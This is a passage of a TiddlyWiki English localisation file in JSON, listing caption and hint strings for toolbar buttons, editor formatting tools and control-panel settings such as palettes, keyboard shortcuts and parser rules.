"title": "$:/language/Buttons/Fold/Hint",
"text": "Fold the body of this tiddler"
},
"$:/language/Buttons/Fold/FoldBar/Caption": {
"title": "$:/language/Buttons/Fold/FoldBar/Caption",
"text": "fold-bar"
},
"$:/language/Buttons/Fold/FoldBar/Hint": {
"title": "$:/language/Buttons/Fold/FoldBar/Hint",
"text": "Optional bars to fold and unfold tiddlers"
},
"$:/language/Buttons/Unfold/Caption": {
"title": "$:/language/Buttons/Unfold/Caption",
"text": "unfold tiddler"
},
"$:/language/Buttons/Unfold/Hint": {
"title": "$:/language/Buttons/Unfold/Hint",
"text": "Unfold the body of this tiddler"
},
"$:/language/Buttons/FoldOthers/Caption": {
"title": "$:/language/Buttons/FoldOthers/Caption",
"text": "fold other tiddlers"
},
"$:/language/Buttons/FoldOthers/Hint": {
"title": "$:/language/Buttons/FoldOthers/Hint",
"text": "Fold the bodies of other opened tiddlers"
},
"$:/language/Buttons/FoldAll/Caption": {
"title": "$:/language/Buttons/FoldAll/Caption",
"text": "fold all tiddlers"
},
"$:/language/Buttons/FoldAll/Hint": {
"title": "$:/language/Buttons/FoldAll/Hint",
"text": "Fold the bodies of all opened tiddlers"
},
"$:/language/Buttons/UnfoldAll/Caption": {
"title": "$:/language/Buttons/UnfoldAll/Caption",
"text": "unfold all tiddlers"
},
"$:/language/Buttons/UnfoldAll/Hint": {
"title": "$:/language/Buttons/UnfoldAll/Hint",
"text": "Unfold the bodies of all opened tiddlers"
},
"$:/language/Buttons/FullScreen/Caption": {
"title": "$:/language/Buttons/FullScreen/Caption",
"text": "full-screen"
},
"$:/language/Buttons/FullScreen/Hint": {
"title": "$:/language/Buttons/FullScreen/Hint",
"text": "Enter or leave full-screen mode"
},
"$:/language/Buttons/Help/Caption": {
"title": "$:/language/Buttons/Help/Caption",
"text": "help"
},
"$:/language/Buttons/Help/Hint": {
"title": "$:/language/Buttons/Help/Hint",
"text": "Show help panel"
},
"$:/language/Buttons/Import/Caption": {
"title": "$:/language/Buttons/Import/Caption",
"text": "import"
},
"$:/language/Buttons/Import/Hint": {
"title": "$:/language/Buttons/Import/Hint",
"text": "Import many types of file including text, image, TiddlyWiki or JSON"
},
"$:/language/Buttons/Info/Caption": {
"title": "$:/language/Buttons/Info/Caption",
"text": "info"
},
"$:/language/Buttons/Info/Hint": {
"title": "$:/language/Buttons/Info/Hint",
"text": "Show information for this tiddler"
},
"$:/language/Buttons/Home/Caption": {
"title": "$:/language/Buttons/Home/Caption",
"text": "home"
},
"$:/language/Buttons/Home/Hint": {
"title": "$:/language/Buttons/Home/Hint",
"text": "Open the default tiddlers"
},
"$:/language/Buttons/Language/Caption": {
"title": "$:/language/Buttons/Language/Caption",
"text": "language"
},
"$:/language/Buttons/Language/Hint": {
"title": "$:/language/Buttons/Language/Hint",
"text": "Choose the user interface language"
},
"$:/language/Buttons/Manager/Caption": {
"title": "$:/language/Buttons/Manager/Caption",
"text": "tiddler manager"
},
"$:/language/Buttons/Manager/Hint": {
"title": "$:/language/Buttons/Manager/Hint",
"text": "Open tiddler manager"
},
"$:/language/Buttons/More/Caption": {
"title": "$:/language/Buttons/More/Caption",
"text": "more"
},
"$:/language/Buttons/More/Hint": {
"title": "$:/language/Buttons/More/Hint",
"text": "More actions"
},
"$:/language/Buttons/NewHere/Caption": {
"title": "$:/language/Buttons/NewHere/Caption",
"text": "new here"
},
"$:/language/Buttons/NewHere/Hint": {
"title": "$:/language/Buttons/NewHere/Hint",
"text": "Create a new tiddler tagged with this one"
},
"$:/language/Buttons/NewJournal/Caption": {
"title": "$:/language/Buttons/NewJournal/Caption",
"text": "new journal"
},
"$:/language/Buttons/NewJournal/Hint": {
"title": "$:/language/Buttons/NewJournal/Hint",
"text": "Create a new journal tiddler"
},
"$:/language/Buttons/NewJournalHere/Caption": {
"title": "$:/language/Buttons/NewJournalHere/Caption",
"text": "new journal here"
},
"$:/language/Buttons/NewJournalHere/Hint": {
"title": "$:/language/Buttons/NewJournalHere/Hint",
"text": "Create a new journal tiddler tagged with this one"
},
"$:/language/Buttons/NewImage/Caption": {
"title": "$:/language/Buttons/NewImage/Caption",
"text": "new image"
},
"$:/language/Buttons/NewImage/Hint": {
"title": "$:/language/Buttons/NewImage/Hint",
"text": "Create a new image tiddler"
},
"$:/language/Buttons/NewMarkdown/Caption": {
"title": "$:/language/Buttons/NewMarkdown/Caption",
"text": "new Markdown tiddler"
},
"$:/language/Buttons/NewMarkdown/Hint": {
"title": "$:/language/Buttons/NewMarkdown/Hint",
"text": "Create a new Markdown tiddler"
},
"$:/language/Buttons/NewTiddler/Caption": {
"title": "$:/language/Buttons/NewTiddler/Caption",
"text": "new tiddler"
},
"$:/language/Buttons/NewTiddler/Hint": {
"title": "$:/language/Buttons/NewTiddler/Hint",
"text": "Create a new tiddler"
},
"$:/language/Buttons/OpenWindow/Caption": {
"title": "$:/language/Buttons/OpenWindow/Caption",
"text": "open in new window"
},
"$:/language/Buttons/OpenWindow/Hint": {
"title": "$:/language/Buttons/OpenWindow/Hint",
"text": "Open tiddler in new window"
},
"$:/language/Buttons/Palette/Caption": {
"title": "$:/language/Buttons/Palette/Caption",
"text": "palette"
},
"$:/language/Buttons/Palette/Hint": {
"title": "$:/language/Buttons/Palette/Hint",
"text": "Choose the colour palette"
},
"$:/language/Buttons/Permalink/Caption": {
"title": "$:/language/Buttons/Permalink/Caption",
"text": "permalink"
},
"$:/language/Buttons/Permalink/Hint": {
"title": "$:/language/Buttons/Permalink/Hint",
"text": "Set browser address bar to a direct link to this tiddler"
},
"$:/language/Buttons/Permaview/Caption": {
"title": "$:/language/Buttons/Permaview/Caption",
"text": "permaview"
},
"$:/language/Buttons/Permaview/Hint": {
"title": "$:/language/Buttons/Permaview/Hint",
"text": "Set browser address bar to a direct link to all the tiddlers in this story"
},
"$:/language/Buttons/Print/Caption": {
"title": "$:/language/Buttons/Print/Caption",
"text": "print page"
},
"$:/language/Buttons/Print/Hint": {
"title": "$:/language/Buttons/Print/Hint",
"text": "Print the current page"
},
"$:/language/Buttons/Refresh/Caption": {
"title": "$:/language/Buttons/Refresh/Caption",
"text": "refresh"
},
"$:/language/Buttons/Refresh/Hint": {
"title": "$:/language/Buttons/Refresh/Hint",
"text": "Perform a full refresh of the wiki"
},
"$:/language/Buttons/Save/Caption": {
"title": "$:/language/Buttons/Save/Caption",
"text": "ok"
},
"$:/language/Buttons/Save/Hint": {
"title": "$:/language/Buttons/Save/Hint",
"text": "Confirm changes to this tiddler"
},
"$:/language/Buttons/SaveWiki/Caption": {
"title": "$:/language/Buttons/SaveWiki/Caption",
"text": "save changes"
},
"$:/language/Buttons/SaveWiki/Hint": {
"title": "$:/language/Buttons/SaveWiki/Hint",
"text": "Save changes"
},
"$:/language/Buttons/StoryView/Caption": {
"title": "$:/language/Buttons/StoryView/Caption",
"text": "storyview"
},
"$:/language/Buttons/StoryView/Hint": {
"title": "$:/language/Buttons/StoryView/Hint",
"text": "Choose the story visualisation"
},
"$:/language/Buttons/HideSideBar/Caption": {
"title": "$:/language/Buttons/HideSideBar/Caption",
"text": "hide sidebar"
},
"$:/language/Buttons/HideSideBar/Hint": {
"title": "$:/language/Buttons/HideSideBar/Hint",
"text": "Hide sidebar"
},
"$:/language/Buttons/ShowSideBar/Caption": {
"title": "$:/language/Buttons/ShowSideBar/Caption",
"text": "show sidebar"
},
"$:/language/Buttons/ShowSideBar/Hint": {
"title": "$:/language/Buttons/ShowSideBar/Hint",
"text": "Show sidebar"
},
"$:/language/Buttons/TagManager/Caption": {
"title": "$:/language/Buttons/TagManager/Caption",
"text": "tag manager"
},
"$:/language/Buttons/TagManager/Hint": {
"title": "$:/language/Buttons/TagManager/Hint",
"text": "Open tag manager"
},
"$:/language/Buttons/Timestamp/Caption": {
"title": "$:/language/Buttons/Timestamp/Caption",
"text": "timestamps"
},
"$:/language/Buttons/Timestamp/Hint": {
"title": "$:/language/Buttons/Timestamp/Hint",
"text": "Choose whether modifications update timestamps"
},
"$:/language/Buttons/Timestamp/On/Caption": {
"title": "$:/language/Buttons/Timestamp/On/Caption",
"text": "timestamps are on"
},
"$:/language/Buttons/Timestamp/On/Hint": {
"title": "$:/language/Buttons/Timestamp/On/Hint",
"text": "Update timestamps when tiddlers are modified"
},
"$:/language/Buttons/Timestamp/Off/Caption": {
"title": "$:/language/Buttons/Timestamp/Off/Caption",
"text": "timestamps are off"
},
"$:/language/Buttons/Timestamp/Off/Hint": {
"title": "$:/language/Buttons/Timestamp/Off/Hint",
"text": "Don't update timestamps when tiddlers are modified"
},
"$:/language/Buttons/Theme/Caption": {
"title": "$:/language/Buttons/Theme/Caption",
"text": "theme"
},
"$:/language/Buttons/Theme/Hint": {
"title": "$:/language/Buttons/Theme/Hint",
"text": "Choose the display theme"
},
"$:/language/Buttons/Bold/Caption": {
"title": "$:/language/Buttons/Bold/Caption",
"text": "bold"
},
"$:/language/Buttons/Bold/Hint": {
"title": "$:/language/Buttons/Bold/Hint",
"text": "Apply bold formatting to selection"
},
"$:/language/Buttons/Clear/Caption": {
"title": "$:/language/Buttons/Clear/Caption",
"text": "clear"
},
"$:/language/Buttons/Clear/Hint": {
"title": "$:/language/Buttons/Clear/Hint",
"text": "Clear image to solid colour"
},
"$:/language/Buttons/EditorHeight/Caption": {
"title": "$:/language/Buttons/EditorHeight/Caption",
"text": "editor height"
},
"$:/language/Buttons/EditorHeight/Caption/Auto": {
"title": "$:/language/Buttons/EditorHeight/Caption/Auto",
"text": "Automatically adjust height to fit content"
},
"$:/language/Buttons/EditorHeight/Caption/Fixed": {
"title": "$:/language/Buttons/EditorHeight/Caption/Fixed",
"text": "Fixed height:"
},
"$:/language/Buttons/EditorHeight/Hint": {
"title": "$:/language/Buttons/EditorHeight/Hint",
"text": "Choose the height of the text editor"
},
"$:/language/Buttons/Excise/Caption": {
"title": "$:/language/Buttons/Excise/Caption",
"text": "excise"
},
"$:/language/Buttons/Excise/Caption/Excise": {
"title": "$:/language/Buttons/Excise/Caption/Excise",
"text": "Perform excision"
},
"$:/language/Buttons/Excise/Caption/MacroName": {
"title": "$:/language/Buttons/Excise/Caption/MacroName",
"text": "Macro name:"
},
"$:/language/Buttons/Excise/Caption/NewTitle": {
"title": "$:/language/Buttons/Excise/Caption/NewTitle",
"text": "Title of new tiddler:"
},
"$:/language/Buttons/Excise/Caption/Replace": {
"title": "$:/language/Buttons/Excise/Caption/Replace",
"text": "Replace excised text with:"
},
"$:/language/Buttons/Excise/Caption/Replace/Macro": {
"title": "$:/language/Buttons/Excise/Caption/Replace/Macro",
"text": "macro"
},
"$:/language/Buttons/Excise/Caption/Replace/Link": {
"title": "$:/language/Buttons/Excise/Caption/Replace/Link",
"text": "link"
},
"$:/language/Buttons/Excise/Caption/Replace/Transclusion": {
"title": "$:/language/Buttons/Excise/Caption/Replace/Transclusion",
"text": "transclusion"
},
"$:/language/Buttons/Excise/Caption/Tag": {
"title": "$:/language/Buttons/Excise/Caption/Tag",
"text": "Tag new tiddler with the title of this tiddler"
},
"$:/language/Buttons/Excise/Caption/TiddlerExists": {
"title": "$:/language/Buttons/Excise/Caption/TiddlerExists",
"text": "Warning: tiddler already exists"
},
"$:/language/Buttons/Excise/Hint": {
"title": "$:/language/Buttons/Excise/Hint",
"text": "Excise the selected text into a new tiddler"
},
"$:/language/Buttons/Heading1/Caption": {
"title": "$:/language/Buttons/Heading1/Caption",
"text": "heading 1"
},
"$:/language/Buttons/Heading1/Hint": {
"title": "$:/language/Buttons/Heading1/Hint",
"text": "Apply heading level 1 formatting to lines containing selection"
},
"$:/language/Buttons/Heading2/Caption": {
"title": "$:/language/Buttons/Heading2/Caption",
"text": "heading 2"
},
"$:/language/Buttons/Heading2/Hint": {
"title": "$:/language/Buttons/Heading2/Hint",
"text": "Apply heading level 2 formatting to lines containing selection"
},
"$:/language/Buttons/Heading3/Caption": {
"title": "$:/language/Buttons/Heading3/Caption",
"text": "heading 3"
},
"$:/language/Buttons/Heading3/Hint": {
"title": "$:/language/Buttons/Heading3/Hint",
"text": "Apply heading level 3 formatting to lines containing selection"
},
"$:/language/Buttons/Heading4/Caption": {
"title": "$:/language/Buttons/Heading4/Caption",
"text": "heading 4"
},
"$:/language/Buttons/Heading4/Hint": {
"title": "$:/language/Buttons/Heading4/Hint",
"text": "Apply heading level 4 formatting to lines containing selection"
},
"$:/language/Buttons/Heading5/Caption": {
"title": "$:/language/Buttons/Heading5/Caption",
"text": "heading 5"
},
"$:/language/Buttons/Heading5/Hint": {
"title": "$:/language/Buttons/Heading5/Hint",
"text": "Apply heading level 5 formatting to lines containing selection"
},
"$:/language/Buttons/Heading6/Caption": {
"title": "$:/language/Buttons/Heading6/Caption",
"text": "heading 6"
},
"$:/language/Buttons/Heading6/Hint": {
"title": "$:/language/Buttons/Heading6/Hint",
"text": "Apply heading level 6 formatting to lines containing selection"
},
"$:/language/Buttons/Italic/Caption": {
"title": "$:/language/Buttons/Italic/Caption",
"text": "italic"
},
"$:/language/Buttons/Italic/Hint": {
"title": "$:/language/Buttons/Italic/Hint",
"text": "Apply italic formatting to selection"
},
"$:/language/Buttons/LineWidth/Caption": {
"title": "$:/language/Buttons/LineWidth/Caption",
"text": "line width"
},
"$:/language/Buttons/LineWidth/Hint": {
"title": "$:/language/Buttons/LineWidth/Hint",
"text": "Set line width for painting"
},
"$:/language/Buttons/Link/Caption": {
"title": "$:/language/Buttons/Link/Caption",
"text": "link"
},
"$:/language/Buttons/Link/Hint": {
"title": "$:/language/Buttons/Link/Hint",
"text": "Create wikitext link"
},
"$:/language/Buttons/Linkify/Caption": {
"title": "$:/language/Buttons/Linkify/Caption",
"text": "wikilink"
},
"$:/language/Buttons/Linkify/Hint": {
"title": "$:/language/Buttons/Linkify/Hint",
"text": "Wrap selection in square brackets"
},
"$:/language/Buttons/ListBullet/Caption": {
"title": "$:/language/Buttons/ListBullet/Caption",
"text": "bulleted list"
},
"$:/language/Buttons/ListBullet/Hint": {
"title": "$:/language/Buttons/ListBullet/Hint",
"text": "Apply bulleted list formatting to lines containing selection"
},
"$:/language/Buttons/ListNumber/Caption": {
"title": "$:/language/Buttons/ListNumber/Caption",
"text": "numbered list"
},
"$:/language/Buttons/ListNumber/Hint": {
"title": "$:/language/Buttons/ListNumber/Hint",
"text": "Apply numbered list formatting to lines containing selection"
},
"$:/language/Buttons/MonoBlock/Caption": {
"title": "$:/language/Buttons/MonoBlock/Caption",
"text": "monospaced block"
},
"$:/language/Buttons/MonoBlock/Hint": {
"title": "$:/language/Buttons/MonoBlock/Hint",
"text": "Apply monospaced block formatting to lines containing selection"
},
"$:/language/Buttons/MonoLine/Caption": {
"title": "$:/language/Buttons/MonoLine/Caption",
"text": "monospaced"
},
"$:/language/Buttons/MonoLine/Hint": {
"title": "$:/language/Buttons/MonoLine/Hint",
"text": "Apply monospaced character formatting to selection"
},
"$:/language/Buttons/Opacity/Caption": {
"title": "$:/language/Buttons/Opacity/Caption",
"text": "opacity"
},
"$:/language/Buttons/Opacity/Hint": {
"title": "$:/language/Buttons/Opacity/Hint",
"text": "Set painting opacity"
},
"$:/language/Buttons/Paint/Caption": {
"title": "$:/language/Buttons/Paint/Caption",
"text": "paint colour"
},
"$:/language/Buttons/Paint/Hint": {
"title": "$:/language/Buttons/Paint/Hint",
"text": "Set painting colour"
},
"$:/language/Buttons/Picture/Caption": {
"title": "$:/language/Buttons/Picture/Caption",
"text": "picture"
},
"$:/language/Buttons/Picture/Hint": {
"title": "$:/language/Buttons/Picture/Hint",
"text": "Insert picture"
},
"$:/language/Buttons/Preview/Caption": {
"title": "$:/language/Buttons/Preview/Caption",
"text": "preview"
},
"$:/language/Buttons/Preview/Hint": {
"title": "$:/language/Buttons/Preview/Hint",
"text": "Show preview pane"
},
"$:/language/Buttons/PreviewType/Caption": {
"title": "$:/language/Buttons/PreviewType/Caption",
"text": "preview type"
},
"$:/language/Buttons/PreviewType/Hint": {
"title": "$:/language/Buttons/PreviewType/Hint",
"text": "Choose preview type"
},
"$:/language/Buttons/Quote/Caption": {
"title": "$:/language/Buttons/Quote/Caption",
"text": "quote"
},
"$:/language/Buttons/Quote/Hint": {
"title": "$:/language/Buttons/Quote/Hint",
"text": "Apply quoted text formatting to lines containing selection"
},
"$:/language/Buttons/RotateLeft/Caption": {
"title": "$:/language/Buttons/RotateLeft/Caption",
"text": "rotate left"
},
"$:/language/Buttons/RotateLeft/Hint": {
"title": "$:/language/Buttons/RotateLeft/Hint",
"text": "Rotate image left by 90 degrees"
},
"$:/language/Buttons/Size/Caption": {
"title": "$:/language/Buttons/Size/Caption",
"text": "image size"
},
"$:/language/Buttons/Size/Caption/Height": {
"title": "$:/language/Buttons/Size/Caption/Height",
"text": "Height:"
},
"$:/language/Buttons/Size/Caption/Resize": {
"title": "$:/language/Buttons/Size/Caption/Resize",
"text": "Resize image"
},
"$:/language/Buttons/Size/Caption/Width": {
"title": "$:/language/Buttons/Size/Caption/Width",
"text": "Width:"
},
"$:/language/Buttons/Size/Hint": {
"title": "$:/language/Buttons/Size/Hint",
"text": "Set image size"
},
"$:/language/Buttons/Stamp/Caption": {
"title": "$:/language/Buttons/Stamp/Caption",
"text": "stamp"
},
"$:/language/Buttons/Stamp/Caption/New": {
"title": "$:/language/Buttons/Stamp/Caption/New",
"text": "Add your own"
},
"$:/language/Buttons/Stamp/Hint": {
"title": "$:/language/Buttons/Stamp/Hint",
"text": "Insert a preconfigured snippet of text"
},
"$:/language/Buttons/Stamp/New/Title": {
"title": "$:/language/Buttons/Stamp/New/Title",
"text": "Name as shown in menu"
},
"$:/language/Buttons/Stamp/New/Text": {
"title": "$:/language/Buttons/Stamp/New/Text",
"text": "Text of snippet. (Remember to add a descriptive title in the caption field)."
},
"$:/language/Buttons/Strikethrough/Caption": {
"title": "$:/language/Buttons/Strikethrough/Caption",
"text": "strikethrough"
},
"$:/language/Buttons/Strikethrough/Hint": {
"title": "$:/language/Buttons/Strikethrough/Hint",
"text": "Apply strikethrough formatting to selection"
},
"$:/language/Buttons/Subscript/Caption": {
"title": "$:/language/Buttons/Subscript/Caption",
"text": "subscript"
},
"$:/language/Buttons/Subscript/Hint": {
"title": "$:/language/Buttons/Subscript/Hint",
"text": "Apply subscript formatting to selection"
},
"$:/language/Buttons/Superscript/Caption": {
"title": "$:/language/Buttons/Superscript/Caption",
"text": "superscript"
},
"$:/language/Buttons/Superscript/Hint": {
"title": "$:/language/Buttons/Superscript/Hint",
"text": "Apply superscript formatting to selection"
},
"$:/language/Buttons/ToggleSidebar/Hint": {
"title": "$:/language/Buttons/ToggleSidebar/Hint",
"text": "Toggle the sidebar visibility"
},
"$:/language/Buttons/Transcludify/Caption": {
"title": "$:/language/Buttons/Transcludify/Caption",
"text": "transclusion"
},
"$:/language/Buttons/Transcludify/Hint": {
"title": "$:/language/Buttons/Transcludify/Hint",
"text": "Wrap selection in curly brackets"
},
"$:/language/Buttons/Underline/Caption": {
"title": "$:/language/Buttons/Underline/Caption",
"text": "underline"
},
"$:/language/Buttons/Underline/Hint": {
"title": "$:/language/Buttons/Underline/Hint",
"text": "Apply underline formatting to selection"
},
"$:/language/ControlPanel/Advanced/Caption": {
"title": "$:/language/ControlPanel/Advanced/Caption",
"text": "Advanced"
},
"$:/language/ControlPanel/Advanced/Hint": {
"title": "$:/language/ControlPanel/Advanced/Hint",
"text": "Internal information about this TiddlyWiki"
},
"$:/language/ControlPanel/Appearance/Caption": {
"title": "$:/language/ControlPanel/Appearance/Caption",
"text": "Appearance"
},
"$:/language/ControlPanel/Appearance/Hint": {
"title": "$:/language/ControlPanel/Appearance/Hint",
"text": "Ways to customise the appearance of your TiddlyWiki."
},
"$:/language/ControlPanel/Basics/AnimDuration/Prompt": {
"title": "$:/language/ControlPanel/Basics/AnimDuration/Prompt",
"text": "Animation duration"
},
"$:/language/ControlPanel/Basics/AutoFocus/Prompt": {
"title": "$:/language/ControlPanel/Basics/AutoFocus/Prompt",
"text": "Default focus field for new tiddlers"
},
"$:/language/ControlPanel/Basics/Caption": {
"title": "$:/language/ControlPanel/Basics/Caption",
"text": "Basics"
},
"$:/language/ControlPanel/Basics/DefaultTiddlers/BottomHint": {
"title": "$:/language/ControlPanel/Basics/DefaultTiddlers/BottomHint",
"text": "Use [[double square brackets]] for titles with spaces. Or you can choose to <$button set=\"$:/DefaultTiddlers\" setTo=\"[list[$:/StoryList]]\">retain story ordering</$button>"
},
"$:/language/ControlPanel/Basics/DefaultTiddlers/Prompt": {
"title": "$:/language/ControlPanel/Basics/DefaultTiddlers/Prompt",
"text": "Default tiddlers"
},
"$:/language/ControlPanel/Basics/DefaultTiddlers/TopHint": {
"title": "$:/language/ControlPanel/Basics/DefaultTiddlers/TopHint",
"text": "Choose which tiddlers are displayed at startup"
},
"$:/language/ControlPanel/Basics/Language/Prompt": {
"title": "$:/language/ControlPanel/Basics/Language/Prompt",
"text": "Hello! Current language:"
},
"$:/language/ControlPanel/Basics/NewJournal/Title/Prompt": {
"title": "$:/language/ControlPanel/Basics/NewJournal/Title/Prompt",
"text": "Title of new journal tiddlers"
},
"$:/language/ControlPanel/Basics/NewJournal/Text/Prompt": {
"title": "$:/language/ControlPanel/Basics/NewJournal/Text/Prompt",
"text": "Text for new journal tiddlers"
},
"$:/language/ControlPanel/Basics/NewJournal/Tags/Prompt": {
"title": "$:/language/ControlPanel/Basics/NewJournal/Tags/Prompt",
"text": "Tags for new journal tiddlers"
},
"$:/language/ControlPanel/Basics/NewTiddler/Title/Prompt": {
"title": "$:/language/ControlPanel/Basics/NewTiddler/Title/Prompt",
"text": "Title of new tiddlers"
},
"$:/language/ControlPanel/Basics/NewTiddler/Tags/Prompt": {
"title": "$:/language/ControlPanel/Basics/NewTiddler/Tags/Prompt",
"text": "Tags for new tiddlers"
},
"$:/language/ControlPanel/Basics/OverriddenShadowTiddlers/Prompt": {
"title": "$:/language/ControlPanel/Basics/OverriddenShadowTiddlers/Prompt",
"text": "Number of overridden shadow tiddlers"
},
"$:/language/ControlPanel/Basics/ShadowTiddlers/Prompt": {
"title": "$:/language/ControlPanel/Basics/ShadowTiddlers/Prompt",
"text": "Number of shadow tiddlers"
},
"$:/language/ControlPanel/Basics/Subtitle/Prompt": {
"title": "$:/language/ControlPanel/Basics/Subtitle/Prompt",
"text": "Subtitle"
},
"$:/language/ControlPanel/Basics/SystemTiddlers/Prompt": {
"title": "$:/language/ControlPanel/Basics/SystemTiddlers/Prompt",
"text": "Number of system tiddlers"
},
"$:/language/ControlPanel/Basics/Tags/Prompt": {
"title": "$:/language/ControlPanel/Basics/Tags/Prompt",
"text": "Number of tags"
},
"$:/language/ControlPanel/Basics/Tiddlers/Prompt": {
"title": "$:/language/ControlPanel/Basics/Tiddlers/Prompt",
"text": "Number of tiddlers"
},
"$:/language/ControlPanel/Basics/Title/Prompt": {
"title": "$:/language/ControlPanel/Basics/Title/Prompt",
"text": "Title of this ~TiddlyWiki"
},
"$:/language/ControlPanel/Basics/Username/Prompt": {
"title": "$:/language/ControlPanel/Basics/Username/Prompt",
"text": "Username for signing edits"
},
"$:/language/ControlPanel/Basics/Version/Prompt": {
"title": "$:/language/ControlPanel/Basics/Version/Prompt",
"text": "~TiddlyWiki version"
},
"$:/language/ControlPanel/EditorTypes/Caption": {
"title": "$:/language/ControlPanel/EditorTypes/Caption",
"text": "Editor Types"
},
"$:/language/ControlPanel/EditorTypes/Editor/Caption": {
"title": "$:/language/ControlPanel/EditorTypes/Editor/Caption",
"text": "Editor"
},
"$:/language/ControlPanel/EditorTypes/Hint": {
"title": "$:/language/ControlPanel/EditorTypes/Hint",
"text": "These tiddlers determine which editor is used to edit specific tiddler types."
},
"$:/language/ControlPanel/EditorTypes/Type/Caption": {
"title": "$:/language/ControlPanel/EditorTypes/Type/Caption",
"text": "Type"
},
"$:/language/ControlPanel/Info/Caption": {
"title": "$:/language/ControlPanel/Info/Caption",
"text": "Info"
},
"$:/language/ControlPanel/Info/Hint": {
"title": "$:/language/ControlPanel/Info/Hint",
"text": "Information about this TiddlyWiki"
},
"$:/language/ControlPanel/KeyboardShortcuts/Add/Prompt": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Add/Prompt",
"text": "Type shortcut here"
},
"$:/language/ControlPanel/KeyboardShortcuts/Add/Caption": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Add/Caption",
"text": "add shortcut"
},
"$:/language/ControlPanel/KeyboardShortcuts/Caption": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Caption",
"text": "Keyboard Shortcuts"
},
"$:/language/ControlPanel/KeyboardShortcuts/Hint": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Hint",
"text": "Manage keyboard shortcut assignments"
},
"$:/language/ControlPanel/KeyboardShortcuts/NoShortcuts/Caption": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/NoShortcuts/Caption",
"text": "No keyboard shortcuts assigned"
},
"$:/language/ControlPanel/KeyboardShortcuts/Remove/Hint": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Remove/Hint",
"text": "remove keyboard shortcut"
},
"$:/language/ControlPanel/KeyboardShortcuts/Platform/All": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/All",
"text": "All platforms"
},
"$:/language/ControlPanel/KeyboardShortcuts/Platform/Mac": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/Mac",
"text": "Macintosh platform only"
},
"$:/language/ControlPanel/KeyboardShortcuts/Platform/NonMac": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonMac",
"text": "Non-Macintosh platforms only"
},
"$:/language/ControlPanel/KeyboardShortcuts/Platform/Linux": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/Linux",
"text": "Linux platform only"
},
"$:/language/ControlPanel/KeyboardShortcuts/Platform/NonLinux": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonLinux",
"text": "Non-Linux platforms only"
},
"$:/language/ControlPanel/KeyboardShortcuts/Platform/Windows": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/Windows",
"text": "Windows platform only"
},
"$:/language/ControlPanel/KeyboardShortcuts/Platform/NonWindows": {
"title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonWindows",
"text": "Non-Windows platforms only"
},
"$:/language/ControlPanel/LoadedModules/Caption": {
"title": "$:/language/ControlPanel/LoadedModules/Caption",
"text": "Loaded Modules"
},
"$:/language/ControlPanel/LoadedModules/Hint": {
"title": "$:/language/ControlPanel/LoadedModules/Hint",
"text": "These are the currently loaded tiddler modules linked to their source tiddlers. Any italicised modules lack a source tiddler, typically because they were setup during the boot process."
},
"$:/language/ControlPanel/Palette/Caption": {
"title": "$:/language/ControlPanel/Palette/Caption",
"text": "Palette"
},
"$:/language/ControlPanel/Palette/Editor/Clone/Caption": {
"title": "$:/language/ControlPanel/Palette/Editor/Clone/Caption",
"text": "clone"
},
"$:/language/ControlPanel/Palette/Editor/Clone/Prompt": {
"title": "$:/language/ControlPanel/Palette/Editor/Clone/Prompt",
"text": "It is recommended that you clone this shadow palette before editing it"
},
"$:/language/ControlPanel/Palette/Editor/Delete/Hint": {
"title": "$:/language/ControlPanel/Palette/Editor/Delete/Hint",
"text": "delete this entry from the current palette"
},
"$:/language/ControlPanel/Palette/Editor/Names/External/Show": {
"title": "$:/language/ControlPanel/Palette/Editor/Names/External/Show",
"text": "Show color names that are not part of the current palette"
},
"$:/language/ControlPanel/Palette/Editor/Prompt/Modified": {
"title": "$:/language/ControlPanel/Palette/Editor/Prompt/Modified",
"text": "This shadow palette has been modified"
},
"$:/language/ControlPanel/Palette/Editor/Prompt": {
"title": "$:/language/ControlPanel/Palette/Editor/Prompt",
"text": "Editing"
},
"$:/language/ControlPanel/Palette/Editor/Reset/Caption": {
"title": "$:/language/ControlPanel/Palette/Editor/Reset/Caption",
"text": "reset"
},
"$:/language/ControlPanel/Palette/HideEditor/Caption": {
"title": "$:/language/ControlPanel/Palette/HideEditor/Caption",
"text": "hide editor"
},
"$:/language/ControlPanel/Palette/Prompt": {
"title": "$:/language/ControlPanel/Palette/Prompt",
"text": "Current palette:"
},
"$:/language/ControlPanel/Palette/ShowEditor/Caption": {
"title": "$:/language/ControlPanel/Palette/ShowEditor/Caption",
"text": "show editor"
},
"$:/language/ControlPanel/Parsing/Caption": {
"title": "$:/language/ControlPanel/Parsing/Caption",
"text": "Parsing"
},
"$:/language/ControlPanel/Parsing/Hint": {
"title": "$:/language/ControlPanel/Parsing/Hint",
"text": "Here you can globally disable/enable wiki parser rules. For changes to take effect, save and reload your wiki. Disabling certain parser rules can prevent <$text text=\"TiddlyWiki\"/> from functioning correctly. Use [[safe mode|https://tiddlywiki.com/#SafeMode]] to restore normal operation."
},
"$:/language/ControlPanel/Parsing/Block/Caption": {
"title": "$:/language/ControlPanel/Parsing/Block/Caption",
"text": "Block Parse Rules"
},
"$:/language/ControlPanel/Parsing/Inline/Caption": {
"title": "$:/language/ControlPanel/Parsing/Inline/Caption",
"text": "Inline Parse Rules"
},
"$:/language/ControlPanel/Parsing/Pragma/Caption": {
"title": "$:/language/ControlPanel/Parsing/Pragma/Caption",
"text": "Pragma Parse Rules"
},
"$:/language/ControlPanel/Plugins/Add/Caption": {
"title": "$:/language/ControlPanel/Plugins/Add/Caption",
"text": "Get more plugins"
},
"$:/language/ControlPanel/Plugins/Add/Hint": {
"title": "$:/language/ControlPanel/Plugins/Add/Hint",
"text": "Install plugins from the official library"
},
"$:/language/ControlPanel/Plugins/AlreadyInstalled/Hint": {
"title": "$:/language/ControlPanel/Plugins/AlreadyInstalled/Hint",
"text": "This plugin is already installed at version <$text text=<<installedVersion>>/>"
},
"$:/language/ControlPanel/Plugins/AlsoRequires": {
